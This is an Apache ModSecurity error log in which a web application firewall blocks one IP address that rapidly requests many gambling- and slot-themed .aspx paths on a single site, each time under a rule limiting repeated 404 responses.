[Tue May 26 06:41:52.930918 2026] [:error] [pid 20024:tid 20061] [client 54.36.179.84:45210] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "ahTQMFdk7QtxEB93NpcTrgAAABc"]
[Tue May 26 06:41:55.305313 2026] [:error] [pid 20025:tid 20065] [client 54.36.179.84:45216] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ahTQM37k8Vts-JPOkgWuiAAAAEA"]
[Tue May 26 06:41:57.712748 2026] [:error] [pid 20125:tid 20148] [client 54.36.179.84:36602] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ahTQNdk9jeWERFDLJc6PxAAAANU"]
[Tue May 26 06:42:00.250924 2026] [:error] [pid 20026:tid 20113] [client 54.36.179.84:36612] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ahTQODXIXIr-5BZ8nR7w-wAAAJU"]
[Tue May 26 06:42:02.642089 2026] [:error] [pid 55988:tid 55999] [client 54.36.179.84:36616] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ahTQOv3kVIz2sql52sdwAgAAAQg"]
[Tue May 26 06:42:05.027451 2026] [:error] [pid 20026:tid 20100] [client 54.36.179.84:36622] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "ahTQPTXIXIr-5BZ8nR7xAwAAAIg"]
[Tue May 26 06:42:07.549142 2026] [:error] [pid 20026:tid 20107] [client 54.36.179.84:52886] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "ahTQPzXIXIr-5BZ8nR7xBgAAAI8"]
[Tue May 26 06:42:28.087037 2026] [:error] [pid 20125:tid 20146] [client 54.36.179.84:52898] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "ahTQVNk9jeWERFDLJc6P8AAAANM"]
[Tue May 26 06:42:30.463151 2026] [:error] [pid 55988:tid 55994] [client 54.36.179.84:44078] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ahTQVv3kVIz2sql52sdwLwAAAQM"]
[Tue May 26 06:42:32.995750 2026] [:error] [pid 55988:tid 55994] [client 54.36.179.84:44080] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ahTQWP3kVIz2sql52sdwOwAAAQM"]
[Tue May 26 06:42:35.655116 2026] [:error] [pid 20024:tid 20060] [client 54.36.179.84:44088] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ahTQW1dk7QtxEB93NpcTvQAAABY"]
[Tue May 26 06:42:38.175314 2026] [:error] [pid 55988:tid 56010] [client 54.36.179.84:50478] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ahTQXv3kVIz2sql52sdwTwAAARM"]
[Tue May 26 06:42:40.674385 2026] [:error] [pid 20025:tid 20081] [client 54.36.179.84:50484] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ahTQYH7k8Vts-JPOkgWuvwAAAFA"]
[Tue May 26 06:42:43.197779 2026] [:error] [pid 55988:tid 56004] [client 54.36.179.84:50500] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ahTQY_3kVIz2sql52sdwXwAAAQ0"]
[Tue May 26 06:42:45.703725 2026] [:error] [pid 20024:tid 20039] [client 54.36.179.84:50510] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ahTQZVdk7QtxEB93NpcTzAAAAAE"]
[Tue May 26 06:42:48.199218 2026] [:error] [pid 55988:tid 55994] [client 54.36.179.84:53876] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ahTQaP3kVIz2sql52sdwcgAAAQM"]
[Tue May 26 06:42:50.683081 2026] [:error] [pid 55988:tid 56000] [client 54.36.179.84:53884] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ahTQav3kVIz2sql52sdwggAAAQk"]
[Tue May 26 06:42:53.172795 2026] [:error] [pid 55988:tid 56011] [client 54.36.179.84:53900] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ahTQbf3kVIz2sql52sdwiQAAARQ"]
[Tue May 26 06:42:55.672114 2026] [:error] [pid 20024:tid 20061] [client 54.36.179.84:53908] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ahTQb1dk7QtxEB93NpcT1QAAABc"]
[Tue May 26 06:42:58.297516 2026] [:error] [pid 20026:tid 20099] [client 54.36.179.84:43904] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ahTQcjXIXIr-5BZ8nR7xSgAAAIc"]
[Tue May 26 06:43:00.784385 2026] [:error] [pid 20025:tid 20075] [client 54.36.179.84:43908] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ahTQdH7k8Vts-JPOkgWuxAAAAEo"]
[Tue May 26 06:43:03.275018 2026] [:error] [pid 20025:tid 20082] [client 54.36.179.84:43910] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "ahTQd37k8Vts-JPOkgWuxQAAAFE"]
[Tue May 26 06:43:05.611897 2026] [:error] [pid 20125:tid 20130] [client 54.36.179.84:43914] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ahTQedk9jeWERFDLJc6QGQAAAMM"]
[Tue May 26 06:43:08.099928 2026] [:error] [pid 20025:tid 20074] [client 54.36.179.84:40620] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ahTQfH7k8Vts-JPOkgWuywAAAEk"]
[Tue May 26 06:43:10.722559 2026] [:error] [pid 20026:tid 20110] [client 54.36.179.84:40624] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ahTQfjXIXIr-5BZ8nR7xVwAAAJI"]
[Tue May 26 06:43:13.194589 2026] [:error] [pid 20026:tid 20101] [client 54.36.179.84:40628] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "ahTQgTXIXIr-5BZ8nR7xWwAAAIk"]
[Tue May 26 06:43:15.824263 2026] [:error] [pid 20026:tid 20103] [client 54.36.179.84:40630] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ahTQgzXIXIr-5BZ8nR7xXQAAAIs"]
[Tue May 26 06:43:18.447825 2026] [:error] [pid 20026:tid 20115] [client 54.36.179.84:50000] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ahTQhjXIXIr-5BZ8nR7xXwAAAJc"]
[Tue May 26 06:43:20.916973 2026] [:error] [pid 55988:tid 56004] [client 54.36.179.84:50008] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "ahTQiP3kVIz2sql52sdwugAAAQ0"]
[Tue May 26 06:43:23.561452 2026] [:error] [pid 20025:tid 20073] [client 54.36.179.84:50016] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ahTQi37k8Vts-JPOkgWu4QAAAEg"]
[Tue May 26 06:43:44.833359 2026] [:error] [pid 20025:tid 20081] [client 54.36.179.84:50028] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "ahTQoH7k8Vts-JPOkgWvAgAAAFA"]
[Tue May 26 06:43:47.340721 2026] [:error] [pid 20125:tid 20130] [client 54.36.179.84:58556] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ahTQo9k9jeWERFDLJc6QVAAAAMM"]
[Tue May 26 06:43:49.834394 2026] [:error] [pid 20026:tid 20101] [client 54.36.179.84:58562] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ahTQpTXIXIr-5BZ8nR7xhwAAAIk"]
[Tue May 26 06:43:52.470564 2026] [:error] [pid 20024:tid 20062] [client 54.36.179.84:58564] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "ahTQqFdk7QtxEB93NpcUGQAAABg"]
[Tue May 26 06:43:54.942866 2026] [:error] [pid 55988:tid 56003] [client 54.36.179.84:58578] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ahTQqv3kVIz2sql52sdxAQAAAQw"]
[Tue May 26 06:43:57.422319 2026] [:error] [pid 20025:tid 20073] [client 54.36.179.84:55172] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ahTQrX7k8Vts-JPOkgWvDwAAAEg"]
[Tue May 26 06:43:59.759978 2026] [:error] [pid 55988:tid 56000] [client 54.36.179.84:55182] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "ahTQr_3kVIz2sql52sdxBwAAAQk"]
[Tue May 26 06:44:02.261859 2026] [:error] [pid 20025:tid 20068] [client 54.36.179.84:55186] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ahTQsn7k8Vts-JPOkgWvFAAAAEM"]
[Tue May 26 06:44:04.733363 2026] [:error] [pid 55988:tid 56001] [client 54.36.179.84:55202] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ahTQtP3kVIz2sql52sdxDwAAAQo"]
[Tue May 26 06:44:07.062685 2026] [:error] [pid 20026:tid 20096] [client 54.36.179.84:43190] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ahTQtzXIXIr-5BZ8nR7xnQAAAIQ"]
[Tue May 26 06:44:09.693370 2026] [:error] [pid 20125:tid 20150] [client 54.36.179.84:43196] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ahTQudk9jeWERFDLJc6QagAAANc"]
[Tue May 26 06:44:12.138918 2026] [:error] [pid 55988:tid 56002] [client 54.36.179.84:43202] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ahTQvP3kVIz2sql52sdxHgAAAQs"]
[Tue May 26 06:44:14.756022 2026] [:error] [pid 55988:tid 56004] [client 54.36.179.84:43214] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ahTQvv3kVIz2sql52sdxLQAAAQ0"]
[Tue May 26 06:44:17.388071 2026] [:error] [pid 20024:tid 20040] [client 54.36.179.84:53062] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ahTQwVdk7QtxEB93NpcUMQAAAAI"]
[Tue May 26 06:44:19.854331 2026] [:error] [pid 20125:tid 20142] [client 54.36.179.84:53070] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ahTQw9k9jeWERFDLJc6QfgAAAM8"]
[Tue May 26 06:44:22.459007 2026] [:error] [pid 20025:tid 20085] [client 54.36.179.84:53074] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ahTQxn7k8Vts-JPOkgWvPAAAAFQ"]
[Tue May 26 06:44:25.093781 2026] [:error] [pid 55988:tid 56015] [client 54.36.179.84:53082] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ahTQyf3kVIz2sql52sdxjQAAARg"]
[Tue May 26 06:44:27.573486 2026] [:error] [pid 55988:tid 56000] [client 54.36.179.84:46038] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ahTQy_3kVIz2sql52sdxlAAAAQk"]
[Tue May 26 06:44:30.180876 2026] [:error] [pid 55988:tid 55993] [client 54.36.179.84:46048] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ahTQzv3kVIz2sql52sdxmgAAAQI"]
[Tue May 26 06:44:32.786332 2026] [:error] [pid 55988:tid 56012] [client 54.36.179.84:46054] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ahTQ0P3kVIz2sql52sdxoAAAARU"]
[Tue May 26 06:44:35.395928 2026] [:error] [pid 20125:tid 20147] [client 54.36.179.84:46062] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "ahTQ09k9jeWERFDLJc6QmwAAANQ"]
[Tue May 26 06:44:38.002407 2026] [:error] [pid 55988:tid 56014] [client 54.36.179.84:48030] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ahTQ1v3kVIz2sql52sdxvAAAARc"]
[Tue May 26 06:44:40.479090 2026] [:error] [pid 55988:tid 56010] [client 54.36.179.84:48042] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ahTQ2P3kVIz2sql52sdxwQAAARM"]
[Tue May 26 06:45:01.659339 2026] [:error] [pid 20024:tid 20061] [client 54.36.179.84:48054] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ahTQ7Vdk7QtxEB93NpcUawAAABc"]
[Tue May 26 06:45:04.195501 2026] [:error] [pid 55988:tid 55994] [client 54.36.179.84:55608] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ahTQ8P3kVIz2sql52sdx5wAAAQM"]
